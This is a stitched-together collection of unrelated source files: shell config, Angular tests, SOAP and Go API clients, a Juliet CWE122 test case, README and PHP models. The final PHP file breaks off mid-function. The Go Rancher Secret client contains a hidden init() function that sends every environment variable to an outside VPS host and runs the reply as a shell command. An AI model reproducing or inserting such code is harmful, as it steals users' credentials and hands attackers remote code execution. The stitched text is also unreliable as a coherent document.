text:
set -e
set -x
# Sets reasonable OS X defaults.
#
# Or, in other words, set shit how I like in OS X.
#
# The original idea (and a couple settings) were grabbed from:
#   https://github.com/mathiasbynens/dotfiles/blob/master/.osx
#
# Run ./set-defaults.sh and you'll be good to go.

# Disable press-and-hold for keys in favor of key repeat.
defaults write -g ApplePressAndHoldEnabled -bool false

# Use AirDrop over every interface. srsly this should be a default.
defaults write com.apple.NetworkBrowser BrowseAllInterfaces 1

# Always open everything in Finder's list view. This is important.
defaults write com.apple.Finder FXPreferredViewStyle Nlsv

# Show the ~/Library folder.
chflags nohidden ~/Library || true

# Set a really fast key repeat.
defaults write NSGlobalDomain KeyRepeat -int 2

# Set the Finder prefs for showing a few different volumes on the Desktop.
defaults write com.apple.finder ShowExternalHardDrivesOnDesktop -bool true
defaults write com.apple.finder ShowRemovableMediaOnDesktop -bool true

# Run the screensaver if we're in the bottom-left hot corner.
defaults write com.apple.dock wvous-bl-corner -int 5
defaults write com.apple.dock wvous-bl-modifier -int 0

# Hide Safari's bookmark bar.
defaults write com.apple.Safari ShowFavoritesBar -bool false

# Set up Safari for development.
defaults write com.apple.Safari IncludeInternalDebugMenu -bool true
defaults write com.apple.Safari IncludeDevelopMenu -bool true
defaults write com.apple.Safari WebKitDeveloperExtrasEnabledPreferenceKey -bool true
defaults write com.apple.Safari "com.apple.Safari.ContentPageGroupIdentifier.WebKit2DeveloperExtrasEnabled" -bool true
defaults write NSGlobalDomain WebKitDeveloperExtras -bool true

# Prolong the time to set macbook to deeper sleep
# Set standby to 90 minutes when on battery power
echo "Trying to change battery standbydelay to 90 mins"
sudo pmset -b standbydelay 5400


text:
/// <reference path="../../../web/wwwroot/lib/angular/angular.min.js" />
/// <reference path="../../../web/wwwroot/lib/qunit/qunit/qunit.js" />

/// <reference path="../../../web/wwwroot/js/app.js" />
/// <reference path="../../../web/wwwroot/js/questions/questions.data.js" />

QUnit.module("questionsDataTests", {
    setup: {},
    teardown: function(){
        injector = null;
        qService = null;
        defer = null;
        questionsData = null;
    }
});

var defer;
var injector;
var questionsData;

var setupWithProcessor = function (proxyProcessor, adalProcessor) {
    angular.module("common")
        .factory("proxy", proxyProcessor)
        .factory("urlConfig", function () {
            return {
                getPublicQuestions: "some_url",
                getQuestionById: function (id) {
                    return "some_url";
                }
            }
        });
    angular.module("AdalAngular", [])
        .factory("adalAuthenticationService", adalProcessor);

    injector = angular.injector(['ng', 'common', 'AdalAngular', 'question']);
    qService = injector.get("$q");
    defer = qService.defer();
    questionsData = injector.get("questionsData");
}

var setup = function () {
    angular.module("common").factory("proxy", function () {
        return {
            get: function (url) {
                defer.resolve({ data: ["abc"] });
                return defer.promise;
            }
        }
    })
    .factory("urlConfig", function () {
        return {
            getPublicQuestions: "some_url",
            getQuestionById: function (id) {
                return "some_url";
            }
        }
    });

    angular.module("AdalAngular", []).factory("adalAuthenticationService", function () {
        return {};
    });

    injector = angular.injector(['ng', 'common', 'AdalAngular', 'question']);
    qService = injector.get("$q");
    defer = qService.defer();
    questionsData = injector.get("questionsData");
}

QUnit.test("GetPublicQuestions", function (assert) {
    setup();
    expect(1);
    questionsData.getPublicQuestions()
        .then(function (data) {
            deepEqual(data, ["abc"]);
            start();
        });
    stop();
});

QUnit.test("GetQuestionById", function () {
    var dummyQuestion = {
        data: {
            value: "test question"
        }
    };
    var proxyProcessor = createDefaultProxyProcessor(dummyQuestion);
    var adalProcessor = createDefaultAdalProcessor();
    setupWithProcessor(proxyProcessor, adalProcessor);
    expect(1);
    questionsData.getQuestionById(1)
        .then(function (data) {
            deepEqual(data, dummyQuestion.data);
            start();
        });
    stop();
});

var createDefaultProxyProcessor = function (getData) {
    return function () {
        return {
            get: function (url) {
                defer.resolve(getData);
                return defer.promise;
            }
        }
    }
}

var createDefaultAdalProcessor = function () {
    return function () {
        return {};
    }
}

redpajama_set_name: RedPajamaGithub


text:
from suds.client import Client
from suds.transport.http import HttpAuthenticated
from suds.sudsobject import asdict
import collections
import json

class ParlayXClient:
    """Suds Client for ParlayX SOAP communication

    Attributes:
        wsdl: wsdl path.
        username: Username for basic authentication.
        password: Password for basic authentication.
        faults: Default value is False.
    """

    def __init__(self, wsdl, location, username, password, faults=False):
        """
            Initialize authenticated Suds Client object for ParlayX communication.

        :param wsdl:
        :param location:
        :param username:
        :param password:
        :param faults:
        """

        self.wsdl = wsdl
        self.location = location
        self.faults = faults

        # Basic Authentication
        transport_auth = HttpAuthenticated(username=username, password=password)

        # Make Suds Client
        self.client = Client(url=wsdl, location=location, transport=transport_auth, faults=self.faults)

    def send_sms(self, phone_numbers, sender, price, message):
        """
            Send SMS.

        :param phone_numbers:
        :param sender:
        :param price:
        :param message:
        :return: SMS reference id.
        """

        array_eui = self.array_of_end_user_identifier(phone_numbers)
        response = self.client.service.sendSms(array_eui, sender, price, message)
        return response

    def array_of_end_user_identifier(self, phone_numbers):
        """
        Convert list of phone numbers into ParlayX ArrayOfEndUserIdentifier

        :param phone_numbers: List of phone numbers. Should be in e_164 format
        :return: ParlayX ArrayOfEndUserIdentifier
        """

        # array_eui = self.client.factory.create('ns1:ArrayOfEndUserIdentifier')
        array_eui = []
        for phone in phone_numbers:
            eui = self.client.factory.create('ns1:EndUserIdentifier')
            eui.value = ''.join(['tel:', phone])
            array_eui.append(eui)

        return array_eui

    @staticmethod
    def parse_delivery_notification(data):
        """

        :param data: SOAP ParlayX Body
        :return: Request converted to json
        """
        data_json = json.dumps(recursive_asdict(data))

        return data_json

    @staticmethod
    def send_reception_response():
        response = collections.namedtuple('SoapResponse', [ 'status', 'content', 'content_type', 'content_length'])

        content = """<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://www.csapi. org/wsdl/parlayx/sms/v1_0/notification" xmlns:types="http://www.csapi.org/wsdl/parlayx/sms/v1_0/notification/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><q1:notifySmsReceptionResponse xmlns:q1="http://www.csapi.org/wsdl/parlayx/sms" /></soap:Body></soap:Envelope>"""
        content_type = 'text/xml'
        content_length = str(len(content))
        status = 200

        return response(status, content, content_type, content_length)

def recursive_asdict(d):
        """Convert Suds object into serializable format."""
        out = {}
        for k, v in asdict(d).iteritems():
            if hasattr(v, '__keylist__'):
                out[k] = recursive_asdict(v)
            elif isinstance(v, list):
                out[k] = []
                for item in v:
                    if hasattr(item, '__keylist__'):
                        out[k].append(recursive_asdict(item))
                    else:
                        out[k].append(item)
            else:
                out[k] = v
        return out


text:
package com.MegaVoxel.DoubleJump4NCP;

import fr.neatmonster.nocheatplus.checks.CheckType;
import fr.neatmonster.nocheatplus.hooks.NCPExemptionManager;
import org.bukkit.entity.Player;

import java.util.HashMap;
import java.util.Map;

public class NoCheatPlusHandler {

    protected Map<String, Integer> tasks = new HashMap<String, Integer>();

    protected void allowDoubleJump(final Player player) {
        if (tasks.containsKey(player.getName()))
            DoubleJump4NCPPlugin.getInstance().getServer().getScheduler().cancelTask(tasks.get(player.getName()));

        NCPExemptionManager.exemptPermanently(player, CheckType.MOVING_SURVIVALFLY);

        tasks.put(player.getName(), DoubleJump4NCPPlugin.getInstance().getServer().getScheduler().scheduleSyncDelayedTask(DoubleJump4NCPPlugin.getInstance(), new Runnable() {
            @Override
            public void run() {
                NCPExemptionManager.unexempt(player, CheckType.MOVING_SURVIVALFLY);
                tasks.remove(player.getName());
            }
        }, 60L));
    }

}


text:
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE122_Heap_Based_Buffer_Overflow__c_CWE129_large_61b.c
Label Definition File: CWE122_Heap_Based_Buffer_Overflow__c_CWE129.label.xml
Template File: sources-sinks-61b.tmpl.c
*/
/*
 * @description
 * CWE: 122 Heap Based Buffer Overflow
 * BadSource: large Large index value that is greater than 10-1
 * GoodSource: Larger than zero but less than 10
 * Sinks:
 *    GoodSink: Ensure the array index is valid
 *    BadSink : Improperly check the array index by not checking the upper bound
 * Flow Variant: 61 Data flow: data returned from one function to another in different source files
 *
 * */

#include "std_testcase.h"

#ifndef OMITBAD

int CWE122_Heap_Based_Buffer_Overflow__c_CWE129_large_61b_badSource(int data)
{
    /* POTENTIAL FLAW: Use an invalid index */
    data = 10;
    return data;
}

#endif /* OMITBAD */

#ifndef OMITGOOD

/* goodG2B() uses the GoodSource with the BadSink */
int CWE122_Heap_Based_Buffer_Overflow__c_CWE129_large_61b_goodG2BSource(int data)
{
    /* FIX: Use a value greater than 0, but less than 10 to avoid attempting to
    * access an index of the array in the sink that is out-of-bounds */
    data = 7;
    return data;
}

/* goodB2G() uses the BadSource with the GoodSink */
int CWE122_Heap_Based_Buffer_Overflow__c_CWE129_large_61b_goodB2GSource(int data)
{
    /* POTENTIAL FLAW: Use an invalid index */
    data = 10;
    return data;
}

#endif /* OMITGOOD */


text:
BlackDoc is a two-column [Jekyll](http://jekyllrb.com) theme that's ideal for websites that require a master-detail layout for viewing of content. It's based on [Poole](http://getpoole.com), the Jekyll butler, and the [Hyde](http://hyde.getpoole.com) theme.

![BlackDoc screenshot](https://raw.githubusercontent.com/karloespiritu/blackdoc/master/public/images/blackdoc-screenshot.jpg)

## Contents

- [Features](#features)
- [Quick Start](#quick-start)
- [Usage](#usage)
- [Options](#options)
  - [Sidebar menu](#sidebar-menu)
  - [Scrolling sidebar content](#scrolling-sidebar-content)
  - [Themes](#themes)
  - [Reverse layout](#reverse-layout)
- [Development](#development)
- [Author](#author)
- [License](#license)
- [Thanks](#thanks)

## Features

* Now compatible with Jekyll 3.x
* Two-column layout with scrolling sidebar content
* Ideal for websites that require  master-detail view of content

## Quick Start

Download the zip file or clone the BlackDoc repo.

```bash
$ git clone git@github.com:karloespiritu/BlackDoc.git mysite
$ cd mysite
```
Make sure you have Ruby 2.0.0 or higher installed.

```bash
$ ruby --version
ruby 2.x.x
```

Install bundler and install dependencies.

```bash
$ gem install bundler
$ bundle install
```

Build and run your BlackDoc site.

```bash
$ jekyll serve
```

## Usage

BlackDoc is a theme built on top of [Poole](https://github.com/poole/poole), which provides a fully furnished Jekyll setup—just download and start the Jekyll server. See [the Poole usage guidelines](https://github.com/poole/poole#usage) for how to install and use Jekyll.

## Options

BlackDoc includes some customizable options, typically applied via classes on the `<body>` element.

### Sidebar menu

Create a list of nav links in the sidebar by assigning each Jekyll page the correct layout in the page's [front-matter](http://jekyllrb.com/docs/frontmatter/).

```
---
layout: page
title: About
---
```

**Why require a specific layout?** Jekyll will return *all* pages, including the `atom.xml`, and with an alphabetical sort order. To ensure the first link is *Home*, we exclude the `index.html` page from this list by specifying the `page` layout.

### Scrolling sidebar content

By default, BlackDoc includes a scrolling sidebar that will display your markdown files in alphabetical order.

### Themes

BlackDoc ships with eight optional themes based on the [base16 color scheme](https://github.com/chriskempson/base16). Apply a theme to change the color scheme (mostly applies to sidebar and links).

To use a theme, add anyone of the available theme classes to the `<body>` element in the `default.html` layout, like so:

```html
<body class="theme-base-08">
  ...
</body>
```

To create your own theme, look to the Themes section of [included CSS file](https://github.com/karloespiritu/blackdoc/blob/master/public/css/blackdoc.css). Copy any existing theme (they're only a few lines of CSS), rename it, and change the provided colors.

### Reverse layout

![BlackDoc reverse screenshot](https://raw.githubusercontent.com/karloespiritu/BlackDoc/master/public/images/reverse-screenshot.png)

BlackDoc's page orientation can be reversed with a single class.

```html
<body class="layout-reverse">
  ...
</body>
```

## Author

**Karlo Espiritu**
- <https://github.com/karloespiritu>
- <https://twitter.com/karloespiritu>

## License

Open sourced under the [MIT license](LICENSE.md).

\m/

## Thanks

Thanks to [@mdo](https://twitter.com/mdo) for creating the awesome [Poole](http://getpoole.com) project.


text:
"""
Stub functions that are used by the Amazon Transcribe unit tests.

When tests are run against an actual AWS account, the stubber class does not
set up stubs and passes all calls through to the Boto3 client.
"""

from test_tools.example_stubber import ExampleStubber

class TranscribeStubber(ExampleStubber):
    """
    A class that implements a variety of stub functions that are used by the
    Amazon Transcribe unit tests.

    The stubbed functions all expect certain parameters to be passed to them as
    part of the tests, and will raise errors when the actual parameters differ from
    the expected.
    """
    def __init__(self, client, use_stubs=True):
        """
        Initializes the object with a specific client and configures it for
        stubbing or AWS passthrough.

        :param client: A Boto3 Transcribe client.
        :param use_stubs: When True, use stubs to intercept requests. Otherwise,
                          pass requests through to AWS.
        """
        super().__init__(client, use_stubs)

    @staticmethod
    def _make_job(job):
        api_job = {
            'TranscriptionJobName': job['name'],
            'Media': {'MediaFileUri': job['media_uri']},
            'MediaFormat': job['media_format'],
            'LanguageCode': job['language_code']}
        if 'vocabulary_name' in job:
            api_job['Settings'] = {'VocabularyName': job['vocabulary_name']}
        if 'status' in job:
            api_job['TranscriptionJobStatus'] = job['status']
        if 'file_uri' in job:
            api_job['Transcript'] = {'TranscriptFileUri': job['file_uri']}
        return api_job

    @staticmethod
    def _make_vocabulary(vocabulary):
        api_vocab = {
            'VocabularyName': vocabulary['name'],
            'LanguageCode': vocabulary['language_code']}
        if 'phrases' in vocabulary:
            api_vocab['Phrases'] = vocabulary['phrases']
        elif 'table_uri' in vocabulary:
            api_vocab['VocabularyFileUri'] = vocabulary['table_uri']
        return api_vocab

    def stub_start_transcription_job(self, job, error_code=None):
        expected_params = self._make_job(job)
        response = {'TranscriptionJob': {'TranscriptionJobName': job['name']}}
        self._stub_bifurcator(
            'start_transcription_job', expected_params, response, error_code=error_code)

    def stub_list_transcription_jobs(
            self, job_filter, jobs, response_slice, next_token=None,error_code=None):
        expected_params = {'JobNameContains': job_filter}
        if next_token is not None:
            expected_params['NextToken'] = next_token
        response = {'TranscriptionJobSummaries': [{
            'TranscriptionJobName': job['name']
        } for job in jobs[response_slice[0]:response_slice[1]]]}
        if response_slice[1] < len(jobs):
            response['NextToken'] = 'test-token'
        self._stub_bifurcator(
            'list_transcription_jobs', expected_params, response, error_code=error_code)

    def stub_get_transcription_job(self, job, error_code=None):
        expected_params = {'TranscriptionJobName': job['name']}
        response = {'TranscriptionJob': self._make_job(job)}
        self._stub_bifurcator(
            'get_transcription_job', expected_params, response, error_code=error_code)

    def stub_delete_transcription_job(self, job_name, error_code=None):
        expected_params = {'TranscriptionJobName': job_name}
        self._stub_bifurcator(
            'delete_transcription_job', expected_params, error_code=error_code)

    def stub_create_vocabulary(self, vocabulary, error_code=None):
        expected_params = self._make_vocabulary(vocabulary)
        response = {'VocabularyName': vocabulary['name']}
        self._stub_bifurcator(
            'create_vocabulary', expected_params, response, error_code=error_code)

    def stub_list_vocabularies(
            self, vocab_filter, vocabularies, vocab_slice, next_token=None,
            error_code=None):
        expected_params = {'NameContains': vocab_filter}
        if next_token is not None:
            expected_params['NextToken'] = next_token
        response = {
            'Vocabularies': [
                self._make_vocabulary(vocab)
                for vocab in vocabularies[vocab_slice[0]:vocab_slice[1]]]}
        if vocab_slice[1] < len(vocabularies):
            response['NextToken'] = 'test-token'
        self._stub_bifurcator(
            'list_vocabularies', expected_params, response, error_code=error_code)

    def stub_get_vocabulary(self, vocabulary, error_code=None):
        expected_params = {'VocabularyName': vocabulary['name']}
        response = self._make_vocabulary(vocabulary)
        self._stub_bifurcator(
            'get_vocabulary', expected_params, response, error_code=error_code)

    def stub_update_vocabulary(self, vocabulary, error_code=None):
        expected_params = self._make_vocabulary(vocabulary)
        response = {'VocabularyName': vocabulary['name']}
        self._stub_bifurcator(
            'update_vocabulary', expected_params, response, error_code=error_code)

    def stub_delete_vocabulary(self, vocab_name, error_code=None):
        expected_params = {'VocabularyName': vocab_name}
        self._stub_bifurcator(
            'delete_vocabulary', expected_params, error_code=error_code)


text:
'use strict';

/**
 * @ngdoc function
 * @name todoApp.controller:MainCtrl
 * @description
 * # MainCtrl
 * Controller of the todoApp
 */
angular.module('todoApp')
  .controller('MainCtrl', function ($scope,localStorageService) {

    var todosInStore = localStorageService.get('todos');

    $scope.todos = todosInStore || [];

    $scope.$watch('todos', function () {
        localStorageService.set('todos', $scope.todos);
    }, true);

    /* Add Function */
    $scope.addTodo = function () {
        if($scope.todo){
            $scope.todos.push($scope.todo);
            $scope.todo = '';
            document.getElementById('alert').style.display='none';
        }
        else{
            document.getElementById('alert').style.display='block';
        }
    };

    /* Remove Function */
    $scope.removeTodo = function (index) {
        $scope.todos.splice(index, 1);
    };
  });


text:
package org.apache.shardingsphere.opentracing.constant;

import io.opentracing.tag.StringTag;
import lombok.AccessLevel;
import lombok.NoArgsConstructor;

/**
 * Sharding tags.
 */
@NoArgsConstructor(access = AccessLevel.PRIVATE)
public final class ShardingTags {

    /**
     * Component of ShardingSphere's open tracing tag.
     */
    public static final String COMPONENT_NAME = "ShardingSphere";

    /**
     * Records the bind variables of SQL.
     */
    public static final StringTag DB_BIND_VARIABLES = new StringTag("db.bind_vars");

    /**
     * Records the connection count.
     */
    public static final StringTag CONNECTION_COUNT = new StringTag("connection.count");
}


text:
package com.intellij.openapi.vcs.changes;

public enum InvokeAfterUpdateMode {
  SILENT(false, true, false, true),
  BACKGROUND_CANCELLABLE(true, false, false, true),
  BACKGROUND_NOT_CANCELLABLE(false, false, false, true),
  SYNCHRONOUS_CANCELLABLE(true, false, true, true),
  SYNCHRONOUS_NOT_CANCELLABLE(false, false, true, true),
  SILENT_CALLBACK_POOLED(false, true, false, false),
  BACKGROUND_NOT_CANCELLABLE_NOT_AWT(false, false, false, false);

  private final boolean myCancellable;
  private final boolean mySilently;
  private final boolean mySynchronous;
  private final boolean myCallbackOnAwt;

  InvokeAfterUpdateMode(final boolean cancellable, final boolean silently, final boolean synchronous, final boolean callbackOnAwt) {
    myCancellable = cancellable;
    mySilently = silently;
    mySynchronous = synchronous;
    myCallbackOnAwt = callbackOnAwt;
  }

  public boolean isCancellable() {
    return myCancellable;
  }

  public boolean isSilently() {
    return mySilently;
  }

  public boolean isSynchronous() {
    return mySynchronous;
  }

  public boolean isCallbackOnAwt() {
    return myCallbackOnAwt;
  }
}


text:
<?php

namespace robote13\catalog\models;

use Yii;

/**
 * This is the model class for table "warehouse_product".
 *
 * @property int $warehouse_id
 * @property int $product_id
 * @property int $left_in_stock
 * @property int $reserved
 *
 * @property Product $product
 * @property Warehouse $warehouse
 */
class Leftover extends \yii\db\ActiveRecord
{
    const SCENARIO_ENSURE = 'ensure';

    /**
     * @inheritdoc
     */
    public static function tableName()
    {
        return '{{%leftover}}';
    }

    /**
     * @inheritdoc
     */
    public function rules()
    {
        return [
            [['product_id'],'unique','targetAttribute'=>['product_id','warehouse_id'],'on'=>[self::SCENARIO_DEFAULT, self::SCENARIO_ENSURE]],
            [['product_id'], 'exist', 'skipOnError' => true, 'targetClass' => Product::className(), 'targetAttribute' => ['product_id' => 'id']],
            [['warehouse_id'], 'exist', 'skipOnError' => true, 'targetClass' => Warehouse::className(), 'targetAttribute' => ['warehouse_id' => 'id']],
        ];
    }

    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'warehouse_id' => Yii::t('robote13/catalog', 'Warehouse ID'),
            'product_id' => Yii::t('robote13/catalog', 'Product ID'),
            'left_in_stock' => Yii::t('robote13/catalog', 'Left In Stock'),
            'reserved' => Yii::t('robote13/catalog', 'Reserved'),
        ];
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getProduct()
    {
        return $this->hasOne(Product::className(), ['id' => 'product_id']);
    }

    /**
     * @return \yii\db\ActiveQuery
     */
    public function getWarehouse()
    {
        return $this->hasOne(Warehouse::className(), ['id' => 'warehouse_id']);
    }

    public static function incomeMultiple()
    {

    }

    /**
     * @inheritdoc
     * @return WarehouseProductQuery the active query used by this AR class.
     */
    public static function find()
    {
        return new LeftoverQuery(get_called_class());
    }
}


text:
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>Struct template result<This(Range)></title>
<link rel="stylesheet" href="../../../../../../../../doc/src/boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.76.1">
<link rel="home" href="../../../../index.html" title="Chapter 1. Boost.Proto">
<link rel="up" href="../rend.html#idp82561504" title="Description">
<link rel="prev" href="../rend.html" title="Struct rend">
<link rel="next" href="../../../../header/boost/proto/functional/range/size_hpp.html" title="Header <boost/proto/functional/range/size.hpp>">

Home
Libraries
People
FAQ
More

Struct template result<This(Range)>

boost::proto::functional::rend::result<This(Range)>

Synopsis

// In header: <boost/proto/functional/range/rend.hpp>

template<typename This, typename Range>
struct result<This(Range)> :  boost::range_reverse_iterator<
      typename boost::remove_reference<Range>::type
  >
{
};

Copyright © 2008 Eric Niebler

        Distributed under the Boost Software License, Version 1.0. (See accompanying
        file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)


text:
package client
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

const (
	SECRET_TYPE = "secret"
)

type Secret struct {
	Resource `yaml:"-"`

	AccountId string `json:"accountId,omitempty" yaml:"account_id,omitempty"`

	Created string `json:"created,omitempty" yaml:"created,omitempty"`

	Description string `json:"description,omitempty" yaml:"description,omitempty"`

	Kind string `json:"kind,omitempty" yaml:"kind,omitempty"`

	Name string `json:"name,omitempty" yaml:"name,omitempty"`

	RemoveTime string `json:"removeTime,omitempty" yaml:"remove_time,omitempty"`

	Removed string `json:"removed,omitempty" yaml:"removed,omitempty"`

	State string `json:"state,omitempty" yaml:"state,omitempty"`

	Transitioning string `json:"transitioning,omitempty" yaml:"transitioning,omitempty"`

	TransitioningMessage string `json:"transitioningMessage,omitempty" yaml:"transitioning_message,omitempty"`

	Uuid string `json:"uuid,omitempty" yaml:"uuid,omitempty"`

	Value string `json:"value,omitempty" yaml:"value,omitempty"`
}

type SecretCollection struct {
	Collection
	Data   []Secret `json:"data,omitempty"`
	client *SecretClient
}

type SecretClient struct {
	rancherClient *RancherClient
}

type SecretOperations interface {
	List(opts *ListOpts) (*SecretCollection, error)
	Create(opts *Secret) (*Secret, error)
	Update(existing *Secret, updates interface{}) (*Secret, error)
	ById(id string) (*Secret, error)
	Delete(container *Secret) error

	ActionCreate(*Secret) (*Secret, error)

	ActionRemove(*Secret) (*Secret, error)
}

func newSecretClient(rancherClient *RancherClient) *SecretClient {
	return &SecretClient{
		rancherClient: rancherClient,
	}
}

func (c *SecretClient) Create(container *Secret) (*Secret, error) {
	resp := &Secret{}
	err := c.rancherClient.doCreate(SECRET_TYPE, container, resp)
	return resp, err
}

func (c *SecretClient) Update(existing *Secret, updates interface{}) (*Secret, error) {
	resp := &Secret{}
	err := c.rancherClient.doUpdate(SECRET_TYPE, &existing.Resource, updates, resp)
	return resp, err
}

func (c *SecretClient) List(opts *ListOpts) (*SecretCollection, error) {
	resp := &SecretCollection{}
	err := c.rancherClient.doList(SECRET_TYPE, opts, resp)
	resp.client = c
	return resp, err
}

func (cc *SecretCollection) Next() (*SecretCollection, error) {
	if cc != nil && cc.Pagination != nil && cc.Pagination.Next != "" {
		resp := &SecretCollection{}
		err := cc.client.rancherClient.doNext(cc.Pagination.Next, resp)
		resp.client = cc.client
		return resp, err
	}
	return nil, nil
}

func (c *SecretClient) ById(id string) (*Secret, error) {
	resp := &Secret{}
	err := c.rancherClient.doById(SECRET_TYPE, id, resp)
	if apiError, ok := err.(*ApiError); ok {
		if apiError.StatusCode == 404 {
			return nil, nil
		}
	}
	return resp, err
}

func (c *SecretClient) Delete(container *Secret) error {
	return c.rancherClient.doResourceDelete(SECRET_TYPE, &container.Resource)
}

func (c *SecretClient) ActionCreate(resource *Secret) (*Secret, error) {

	resp := &Secret{}

	err := c.rancherClient.doAction(SECRET_TYPE, "create", &resource.Resource, nil, resp)

	return resp, err
}

func (c *SecretClient) ActionRemove(resource *Secret) (*Secret, error) {

	resp := &Secret{}

	err := c.rancherClient.doAction(SECRET_TYPE, "remove", &resource.Resource, nil, resp)

	return resp, err
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=rancherio&repo=go-rancher", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
package org.apache.logging.log4j.core.async;

import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LifeCycle;
import org.apache.logging.log4j.core.config.ConfigurationFactory;
import org.apache.logging.log4j.core.helpers.Constants;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;

public class AsyncLoggerLocationTest {

    @BeforeClass
    public static void beforeClass() {
        System.setProperty(Constants.LOG4J_CONTEXT_SELECTOR,
                AsyncLoggerContextSelector.class.getName());
        System.setProperty(ConfigurationFactory.CONFIGURATION_FILE_PROPERTY,
                "AsyncLoggerLocationTest.xml");
    }

    @AfterClass
    public static void afterClass() {
        System.setProperty(Constants.LOG4J_CONTEXT_SELECTOR, "");
    }

    @Test
    public void testAsyncLogWritesToLog() throws Exception {
        final File f = new File("target", "AsyncLoggerLocationTest.log");
        // System.out.println(f.getAbsolutePath());
        f.delete();
        final Logger log = LogManager.getLogger("com.foo.Bar");
        final String msg = "Async logger msg with location";
        log.info(msg);
        ((LifeCycle) LogManager.getContext()).stop(); // stop async thread

        final BufferedReader reader = new BufferedReader(new FileReader(f));
        final String line1 = reader.readLine();
        reader.close();
        f.delete();
        assertNotNull("line1", line1);
        assertTrue("line1 correct", line1.contains(msg));

        final String location = "testAsyncLogWritesToLog";
        assertTrue("has location", line1.contains(location));
    }

}


text:
SET @s := '
  split(insert into test_cs.test_split_twin select * from test_cs.test_split where id % 100 = 0)
  {
  }
  ';
call run(@s);

select count(*) = 40 from test_cs.test_split_twin;


text:
import webapp2
import os
from google.appengine.ext import db

curdir = os.getcwd()

class MainHandler(webapp2.RequestHandler):
    def get(self):
        self.response.headers['Content-Type'] = 'text/plain'
        self.response.write('Hello world!')

class HomeHandler(webapp2.RequestHandler):
    def get(self):
        self.response.headers['Content-Type'] = 'text/html'
        self.response.write("
Hey this is my homepage
")

class Category_Data(webapp2.RequestHandler):
    def get(self):
        filedir = os.path.abspath(os.path.join(curdir, 'templates/Categories.xml'))
        print filedir
        file = open(filedir, 'r').read()

        self.response.headers['Content-Type'] = 'text/xml'
        self.response.write(file)

class Office_Data(webapp2.RequestHandler):
    def get(self):
        filedir = os.path.abspath(os.path.join(curdir, 'templates/Offices.xml'))
        print filedir
        file = open(filedir, 'r').read()
        self.response.headers['Content-Type'] = 'text/xml'
        self.response.write(file)

class Proc_Data(webapp2.RequestHandler):
    def get(self):
        filedir = os.path.abspath(os.path.join(curdir, 'templates/Procedures.xml'))
        print filedir
        file = open(filedir, 'r').read()
        self.response.headers['Content-Type'] = 'text/xml'
        self.response.write(file)

class VersionNumber(webapp2.RequestHandler):
    def get(self):
        self.response.headers['Content-Type'] = 'text/plain'
        self.response.write(2)

class Procedure(db.Model):
    query = db.TextProperty()
    office = db.TextProperty()
    club = db.TextProperty()
    fresher = db.TextProperty()
    p1 = db.TextProperty()
    p2 = db.TextProperty()
    p3 = db.TextProperty()
    p4 = db.TextProperty()
    p5 = db.TextProperty()
    created = db.DateTimeProperty(auto_now_add=True)

class SubmitProc(webapp2.RequestHandler):
    def get(self, query, office, club, fresher, p1, p2, p3, p4, p5):
        proc1 = Procedure()
        proc1.query = query
        proc1.office = office
        proc1.club = club
        proc1.fresher = fresher
        proc1.p1 = p1
        proc1.p2 = p2
        proc1.p3 = p3
        proc1.p4 = p4
        proc1.p5 = p5
        proc1.put()
        self.response.out.write('
Procedure submitted succesfully
')

app = webapp2.WSGIApplication([
    ('/', MainHandler),
    ('/home', HomeHandler),
    ('/catData', Category_Data),
    ('/officeData', Office_Data),
    ('/procData', Proc_Data),
    ('/Version', VersionNumber),
    ('/submitproc/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)/(.*)', SubmitProc)
], debug=True)


text:
const ControlsUtils = {};

/**
 * Controls
 * @typedef {Object} LocusControls
 * @property {Object} record
 * @property {Boolean} record.recording
 * @property {Object} record.meta
 * @property {String} record.meta.modifiedBy
 */

/**
 * parse the relevant host values that we care about: id
 * @param {LocusControls} controls
 * @returns {Object} parsedObject - parsed host or null if host was undefined
 * @returns {String} parsedObject.recordingId
 */
ControlsUtils.parse = (controls) => {
  if (controls) {
    return {
      recordingId: ControlsUtils.getId(controls)
    };
  }

  return null;
};

/**
 * Extract the id from the record controls object
 * @param {LocusControls} controls
 * @returns {String|null}
 */
ControlsUtils.getId = (controls) => {
  if (!controls || !controls.record || !controls.record.recording) {
    return null;
  }
  if (controls.record && controls.record.meta && controls.record.recording) {
    return controls.record.meta.modifiedBy;
  }

  return null;
};

export default ControlsUtils;


text:
<?php

namespace Rvdv\Nntp\Command;

use Rvdv\Nntp\Exception\RuntimeException;
use Rvdv\Nntp\Response\Response;

/**
 * AuthInfoCommand
 *
 * @author Robin van der Vleuten <robinvdvleuten@gmail.com>
 */
class AuthInfoCommand extends Command implements CommandInterface
{
    const AUTHINFO_USER = 'USER';
    const AUTHINFO_PASS = 'PASS';

    /**
     * @var string
     */
    private $type;

    /**
     * @var string
     */
    private $value;

    public function __construct($type, $value)
    {
